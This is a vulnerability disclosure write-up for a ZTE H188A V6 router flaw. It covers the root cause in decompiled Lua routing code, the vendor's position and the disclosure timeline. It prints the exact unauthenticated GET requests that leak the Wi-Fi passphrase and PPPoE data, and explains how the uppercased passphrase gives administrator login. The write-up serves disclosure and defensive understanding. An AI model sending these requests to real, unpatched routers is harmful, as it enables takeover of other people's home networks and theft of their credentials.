Credential Disclosure

CVE-2026-34472 ZTE H188A Auth Bypass via Leaked Credentials

Redacted proof screenshot showing multiple affected targets and extracted fields
Redacted proof from the original validation set showing repeated extraction of administrator defaults, WLAN PSKs, PPPoE usernames, and SSIDs from exposed wizard handlers.

I validated an unauthenticated credential disclosure path in the ZXHN H188A V6 web interface and then traced the code path that makes it reachable. The observed exploit path leaks pre-login wizard data through tedataNotLoginData; on this router, the leaked Wi-Fi passphrase becomes the default administrator password once uppercased, which is why the disclosure turns into admin-panel auth bypass. The decompiled root cause is broader and shows that root-path requests can override routing with attacker-controlled _type and _tag values before the normal QuickSetupEnable gate runs.

No authentication LAN by default, wider if admin UI is exposed Credential disclosure to auth bypass No public patch as of 2026-05-18
Summary

Executive Summary

The observed exploit path leverages a routing failure across the pre-login wizard path. Unauthenticated requests to the root path can ask the pre-login wizard layer for WLAN and PPPoE data without ever presenting credentials. The routing layer itself trusts query-supplied _type and _tag values when the URL path is empty, meaning an attacker can bypass the normal quick-setup routing gate and land directly in credential-bearing tedataNotLogin data handlers.

Root Cause

Root-path requests can override router selection with _type and select a handler with _tag. The QuickSetupEnable check only runs in the fallback path used when _type is absent.

Exploit Path

  1. Send a request to /?_type=tedataNotLoginData&_tag=wizard_lua.lua....
  2. The router accepts the attacker-supplied router type and tag for an empty URL path.
  3. The unauthenticated wizard manager loads the requested wizard data file.
  4. Credential-bearing actions such as getPassword, wlan_get, and ppp_get return data without login.
  5. For this router, the leaked Wi-Fi password becomes the default administrator password when uppercased.
  6. The attacker can then log into the router as an authorized administrator.

Key Takeaway

Authentication is entirely bypassed because the routing logic trusts query parameters over the URL path. One unauthenticated GET request is enough to pull the keys to the entire management interface.

Trigger Requests

Observed unauthenticated requests used during local validation.

Root path, empty URL
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=getPassword&BAND=5GHz&PASSTYPE=PSK
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=wlan_get&BAND=5GHz
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=ppp_get

Representative JSON fields returned during validation:
- KeyPassphrase
- ESSID
- UserName
- _sessionTOKEN

The screenshots and PoC material in this directory are consistent with the decompiled explanation in Tedata_notLogin_wizard_page_manage.lua: the request never needs to pass through the authenticated admin flow first.

Affected Devices

This writeup is strictly scoped to the locally validated H188A V6 branch (V6.0.10P2_TE and V6.0.10P3N3_TE) cited in the public CVE record. However, given the architectural nature of the routing bypass in router_logic_impl.lua, it is highly probable that other branches sharing this web stack are affected. I invite the community to validate this exposure against later firmware revisions.

ZXHN H188A V6.0.10P2_TE V6.0.10P3N3_TE Wizard pre-login stack

PoC Snapshot

A simple PoC run shows the exploit path more clearly than another overview screenshot: the unauthenticated wizard request returns the Wi-Fi credential, and that value becomes the default admin password once uppercased.

Example PoC run Redacted sample output showing how the leak becomes administrator access.
PS> python .\poc\extract_wizard_credentials.py --target 192.168.1.1
[+] wizard endpoint reachable without authentication
[+] ssid ............... [REDACTED]
[+] wifi_password ...... [REDACTED]
[+] admin_password ..... WIFI_PASSWORD.UPPER()
[+] pppoe_username ..... [REDACTED]
[+] result ............. admin login secret recovered
Redacted screenshot of wlan_get JSON response in the wizard interface
wlan_get. The pre-login wizard path returns WLAN profile data without authentication, including the Wi-Fi value later reused for admin access.
Redacted screenshot of ppp_get JSON response in the wizard interface
ppp_get. The same request surface exposes PPPoE metadata without login.

Impact

Admin bypass: on the H188A V6 path I validated, the Wi-Fi password returned by getPassword becomes the default administrator password when uppercased. The leak is the login secret.

Credential exposure: the same pre-login request family also discloses WLAN and PPPoE values, which expands the impact beyond the router panel itself.

Exposure scale: at the time of the original report, roughly 500 publicly exposed H188A router interfaces were reachable on the internet.

Control path: once the attacker has the admin password, the web interface stops being a read-only leak and becomes a full authenticated management surface.

Root Cause Analysis

The extracted web stack shows a routing and authorization failure across the pre-login wizard path, not just one noisy endpoint. The local proof captures show the disclosure behavior; the decompiled logic explains why those responses exist and why the same path is broader than a single credential leak. Four details matter:

1. Query-driven router selection

When the request path is empty, the router logic accepts attacker-supplied _type and _tag parameters directly. That means the request can choose tedataNotLoginData instead of letting the normal URL-path resolver pick the route.

2. QuickSetupEnable gate in the wrong place

The QuickSetupEnable check lives in the URL-path-to-router conversion path and only fires when _type is missing. If the attacker supplies _type, the gate is skipped instead of re-applied later.

3. Pre-login data loader trusts the chosen tag

The tedataNotLogin data manager only checks whether the requester is already logged in. If not, it constructs a file path inside wizard_page_deps and loads the requested wizard data file.

4. Wizard handlers expose both reads and writes

The local validation used read-style actions like getPassword, wlan_get, and ppp_get. The decompiled handler family also includes mutating branches that call cmapi.setinst, which is why the underlying defect is broader than a pure disclosure bug.

Tools Used

The working set combined live validation, PoC automation, and decompilation-backed inspection. The main tools used across that path were:

  • Browser DevTools and direct browser requests for local wizard endpoint validation.
  • Python PoC material for repeated extraction of wizard data across the test set.
  • Decompilation-backed analysis from the private local research workspace used to map the routing and handler chain.

Where the Bug Happens in Code

The three most important code points are the route override, the misplaced quick-setup gate, and the unauthenticated wizard data loader. I am showing only the minimum lines needed to explain the vulnerable chain.

router_logic_impl.lua Root-path requests trust attacker-controlled _type and _tag.
function RouterLogicClass:__URL2RouterType(urlPath, queryTable)
  local routerType, resourceTag
  if #urlPath == 0 then
    routerType = queryTable._type
    if not routerType then
      routerType, resourceTag = self:__URLPath2RouterType(urlPath)
    else
      resourceTag = queryTable._tag
    end
urlpath_2type_modifier.lua The QuickSetupEnable decision is only applied in the fallback path.
local QuickSetupEnable = "0"
local QuiSetupTable = _G.cmapi.getinst("OBJ_WEB_QUICKSETUP_ID", "IGD")
if QuiSetupTable.IF_ERRORID == 0 then
  QuickSetupEnable = QuiSetupTable.QuickSetupEnable
end
if QuickSetupEnable == "1" then
  return "tedataNotLogin", nil
end
Tedata_notLogin_wizard_page_manage.lua The data loader only blocks logged-in users, then includes the requested wizard data file.
function WizardPageMgrClass.getDataFiles(routerType, resourceTag)
  g_logger:debug("routerType=" .. routerType)
  if usermgr:isLogined() then
    return false
  end
  UpdateCurrentSess()
  local file = ""
  file = "../page_mgr/wizard_page_deps/" .. resourceTag
  return true, {
    {file = file}
  }, nil
wizard_wlan_config_lua.lua Representative wizard handler that writes settings through cmapi.setinst.
if FP_ACTION == "Apply" then
  while cgilua.POST["_InstID_" .. index] do
    t_Data = {}
    for j, k in pairs(WLANSETTING_PARA) do
      t_Data[k] = cgilua.POST[k .. "_" .. index]
    end
    tError = cmapi.setinst(WLANSETTING_OBJNAME, cgilua.POST["_InstID_" .. index], t_Data)
    if tError.IF_ERRORID ~= 0 then
      break
    end

Vendor Position

ZTE PSIRT's February 2, 2026 response characterized this issue as a customer-specific requirement with low risk and stated that it did not plan to assign a CVE. That position does not line up with the practical impact shown by the local captures or with the decompiled route-to-handler chain.

Patch status as of May 18, 2026: no public ZTE advisory or fixed firmware release was visible in the public record for CVE-2026-34472. The public trail still consists of the CVE/NVD entries and disclosure references.

Sources

Primary external references used to anchor the public record for the issue and disclosure timeline.

Disclosure Timeline

April 26 to May 2, 2024

Local screenshots and PoC material were created for the H188A V6 wizard exposure path.

May 2024

ZTE PSIRT received the original disclosure for the H188A V6 credential-disclosure and auth-bypass issue.

2024-05-10

The later MITRE escalation record states that ZTE stopped responding after this point in the original 2024 disclosure thread.

January 17, 2026

The issue set was escalated to MITRE with the supporting evidence package and requested researcher credit.

February 2, 2026

ZTE PSIRT explicitly declined CVE assignment and described the H188A V6 issue as a customer-specific low-risk requirement.

March 27, 2026

MITRE assigned CVE-2026-34472 to the H188A V6 wizard credential-disclosure issue.

March 30, 2026

A public disclosure reference was submitted to support the assigned CVE IDs.